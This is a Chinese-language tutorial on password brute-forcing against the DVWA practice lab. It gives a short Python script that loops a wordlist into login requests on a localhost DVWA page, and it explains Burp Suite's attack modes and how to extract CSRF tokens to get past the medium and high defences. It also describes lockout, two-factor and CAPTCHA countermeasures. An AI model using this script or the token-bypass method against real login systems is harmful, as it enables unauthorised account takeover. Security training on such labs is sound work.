WEB漏洞:暴力破解
密码爆破的本质:依赖字典,连续性的,自动化的尝试密码登陆爆破
1)密码爆破思路
方式一:尝试爆破:假设密码长度6,每位有126种可能。那么需要尝试126^6次。
方式二:使用字典
思考:字典从何而来?
参考泄露出来的最长使用的密码排名前200:
https://nordpass.com/most-common-passwords-list/
网络下载密码本
密码生成器
方式三:使用POC实现爆破
POC实现爆破,python代码实现爆破:
1、读取字典,加载密码
2、发起http连接
3、分析HTTP响应
4、持续自动化爆破
代码:
readpass.py
# -*- coding: utf-8 -*-
# python 3
pwds = open("password.txt")
for pwd in pwds:
print(pwd)
pwds.close()
httpconn.py
# -*- coding: utf-8 -*-
# python 3
import requests
pwds = open("password.txt")
for pwd in pwds:
url = "http://localhost/DVWA-master/vulnerabilities/brute/"
# PHPSESSID务必替换为登录以后的PHPSESSID
resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=0hhidoi7h1ln7jo9h2h0tgfnn6"})
#print(resp.text)
if 'Username and/or password incorrect.' in resp.text:
print('破解失败:'+pwd, end='')
else:
print('破解成功:'+pwd, end='')
break;
pwds.close()
2) DVWA靶场
环境准备:
下载代码: https://dvwa.co.uk/
配置数据库:修改config/config.inc.php
部署到phpstudy
注意是登录以后才可以使用暴破场景,而不是暴破首页的登录功能
3)暴力破解实现
使用python代码破解DVWA靶场
使用工具BP实现爆破
4)BP的攻击模式
攻击模式一:狙击手
发起爆破:
攻击结果:
攻击模式二:攻城锤Battering ram
攻城锤模式,使用一个字典,两个节点的值一样:
攻击模式三:草叉模式Pitchfork
选择两个字典:
攻击结果:一共发起10次请求,每一次请求使用第一个字典的第一个值和第二个字典的第一个值匹配,依次类推:
攻击模式四:集束炸弹Cluster bomb
使用两个字典:
攻击结果:笛卡尔积,一共发起100次请求,爆破成功:
5)防御
DVWA-medium :sleep两秒
DVWA-high: 随机sleep 0-3秒 , 增加CSRF token(客户端请求伪造token)
BP拦截:
选择草叉模式:
加载第一个字典:
第二个参数,是需要从上一次请求中的token种得到:
设置Options:匹配到前后的正则表达式,那么就是token:
设置payloads:
设置单线程:
爆破结果:
添加提示:
点击Add:
爆破结果:
Dvwa-impossible:
限定次数:输错三次,锁定15分钟
支付宝设置的防御机制:
二次验证加固:
人机识别加固: